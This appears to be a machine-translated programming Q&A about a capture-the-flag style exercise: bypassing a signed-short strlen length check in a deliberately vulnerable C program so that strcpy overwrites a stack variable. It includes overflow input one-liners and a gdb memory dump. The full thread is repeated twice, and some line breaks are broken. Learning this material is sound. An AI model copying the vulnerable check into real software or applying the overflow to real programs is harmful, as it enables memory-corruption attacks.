如何绕过长度检查执行特定的缓冲区溢出
How to perform a specific buffer overflow bypassing a length check
我正在尝试执行缓冲区溢出,以便变量(类型)在其中具有特定值。我与 strlen 斗争并检查我的输入。
我尝试使用类似的东西:'AAAAA\x00AAA...A\x00\xbc\xd4\xb9' 来欺骗 strlen 检查我的输入是否只有 5 个 A 的长度。但是有些东西总是用消息剥离我的 \x00:
-bash:警告:命令替换:忽略输入中的空字节
所以我做了一个更大的输入并有一个整数溢出,这样保存长度的短部分太大并且低于 32700...但这似乎也没有用。
我的输入构造如下:
./challenge `python -c "print 'A'*30000 + '\x00' + 'A'*10000" + '\xXX\xXX\xXX\xXX'`
(对于 \xXX 我想要的输入)
或
./challenge `python programm.py`
我也在用gdb分析内存。但是我找不到正确的使用方法...
我的任务代码是:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
int type = 0xdeadbeef;
char buf[32700];
short len;
if (argc < 2)
return -1;
len = strlen(argv[1]);
if (len > 32700) {
printf("Too long\n");
return -1;
}
strcpy(buf, argv[1]);
if (type == 0x00b1c2d3) {
printf("Success\n");
} else {
printf("Try again\n");
}
exit(0);
}
对于这个问题还有其他想法(或 'solution')吗?几天以来我一直在努力。此外,多年来我与 C 没有任何关系(尤其是内存分析、gdb 和所有这些),所以我很难理解一些东西。
代码中的问题是使用 strlen()
计算的长度 len
是 short
。这意味着它是一个 16 位值。由于 strlen()
return 是一个 size_t
,在我的 x86_64 系统上是一个 64 位值,因此只有低 16 位将存储在 len
变量中.
因此,乍一看,您可以提交超过 65,535 字节的任何内容,溢出 short int
,并仅存储较低的 16 位。但是还有一个问题需要注意。 len
变量是一个 有符号 短整数。这意味着它存储来自 [-32768,32767]
的值,而 size_t
是无符号值。因此,当 strlen()
return 是其值时,设置了最高位的长度(超过 32,767 字节的任何长度)将变为负数。
这里有一个示例 gdb
会话说明了这一点:
(gdb) break 22
Breakpoint 1 at 0x829: file challenge.c, line 22.
(gdb) run `ruby -e 'print("A"*32768)'`
Starting program: /home/josh/foo/challenge `ruby -e 'print("A"*32768)'`
Breakpoint 1, main (argc=2, argv=0x7fffffff6338) at challenge.c:22
22 if (type == 0x00b1c2d3) {
(gdb) p len
= -32768
(gdb) x/64bx $rsp
0x7ffffffee260: 0x38 0x63 0xff 0xff 0xff 0x7f 0x00 0x00
0x7ffffffee268: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x7ffffffee270: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffffffee278: 0x00 0x00 0x00 0x80 0xef 0xbe 0xad 0xde
0x7ffffffee280: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee288: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee290: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee298: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
看到 0x7ffffffee27a
的字节是 0x00 0x80
了吗?那是 short int
的 -32768,因此长度被认为是负数(远低于 32,700!)。
我还在内存转储中包含了一些额外的信息,因此您可以看到 type
字段紧接在内存中的 len
字段之后,最后是 buf
数组(其中包含我的 32768 A
s!)。请注意,只有特定长度的输入有效——那些显示为负数,或在截断为 16 位时溢出到小于 32,700 的值。
这并不能解决全部挑战,但至少应该让您有个良好的开端,了解您可以控制什么。另请注意,buf
数组上方有数据,例如 rbp
点的位置,您保存的 return 指针等。取决于您如何编译它(例如,有或没有堆栈金丝雀等),一路上可能还有更多的事情需要你解决。
我正在尝试执行缓冲区溢出,以便变量(类型)在其中具有特定值。我与 strlen 斗争并检查我的输入。
我尝试使用类似的东西:'AAAAA\x00AAA...A\x00\xbc\xd4\xb9' 来欺骗 strlen 检查我的输入是否只有 5 个 A 的长度。但是有些东西总是用消息剥离我的 \x00:
-bash:警告:命令替换:忽略输入中的空字节
所以我做了一个更大的输入并有一个整数溢出,这样保存长度的短部分太大并且低于 32700...但这似乎也没有用。
我的输入构造如下:
./challenge `python -c "print 'A'*30000 + '\x00' + 'A'*10000" + '\xXX\xXX\xXX\xXX'`
(对于 \xXX 我想要的输入)
或
./challenge `python programm.py`
我也在用gdb分析内存。但是我找不到正确的使用方法...
我的任务代码是:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
int type = 0xdeadbeef;
char buf[32700];
short len;
if (argc < 2)
return -1;
len = strlen(argv[1]);
if (len > 32700) {
printf("Too long\n");
return -1;
}
strcpy(buf, argv[1]);
if (type == 0x00b1c2d3) {
printf("Success\n");
} else {
printf("Try again\n");
}
exit(0);
}
对于这个问题还有其他想法(或 'solution')吗?几天以来我一直在努力。此外,多年来我与 C 没有任何关系(尤其是内存分析、gdb 和所有这些),所以我很难理解一些东西。
代码中的问题是使用 strlen()
计算的长度 len
是 short
。这意味着它是一个 16 位值。由于 strlen()
return 是一个 size_t
,在我的 x86_64 系统上是一个 64 位值,因此只有低 16 位将存储在 len
变量中.
因此,乍一看,您可以提交超过 65,535 字节的任何内容,溢出 short int
,并仅存储较低的 16 位。但是还有一个问题需要注意。 len
变量是一个 有符号 短整数。这意味着它存储来自 [-32768,32767]
的值,而 size_t
是无符号值。因此,当 strlen()
return 是其值时,设置了最高位的长度(超过 32,767 字节的任何长度)将变为负数。
这里有一个示例 gdb
会话说明了这一点:
(gdb) break 22
Breakpoint 1 at 0x829: file challenge.c, line 22.
(gdb) run `ruby -e 'print("A"*32768)'`
Starting program: /home/josh/foo/challenge `ruby -e 'print("A"*32768)'`
Breakpoint 1, main (argc=2, argv=0x7fffffff6338) at challenge.c:22
22 if (type == 0x00b1c2d3) {
(gdb) p len
= -32768
(gdb) x/64bx $rsp
0x7ffffffee260: 0x38 0x63 0xff 0xff 0xff 0x7f 0x00 0x00
0x7ffffffee268: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x7ffffffee270: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffffffee278: 0x00 0x00 0x00 0x80 0xef 0xbe 0xad 0xde
0x7ffffffee280: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee288: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee290: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee298: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
看到 0x7ffffffee27a
的字节是 0x00 0x80
了吗?那是 short int
的 -32768,因此长度被认为是负数(远低于 32,700!)。
我还在内存转储中包含了一些额外的信息,因此您可以看到 type
字段紧接在内存中的 len
字段之后,最后是 buf
数组(其中包含我的 32768 A
s!)。请注意,只有特定长度的输入有效——那些显示为负数,或在截断为 16 位时溢出到小于 32,700 的值。
这并不能解决全部挑战,但至少应该让您有个良好的开端,了解您可以控制什么。另请注意,buf
数组上方有数据,例如 rbp
点的位置,您保存的 return 指针等。取决于您如何编译它(例如,有或没有堆栈金丝雀等),一路上可能还有更多的事情需要你解决。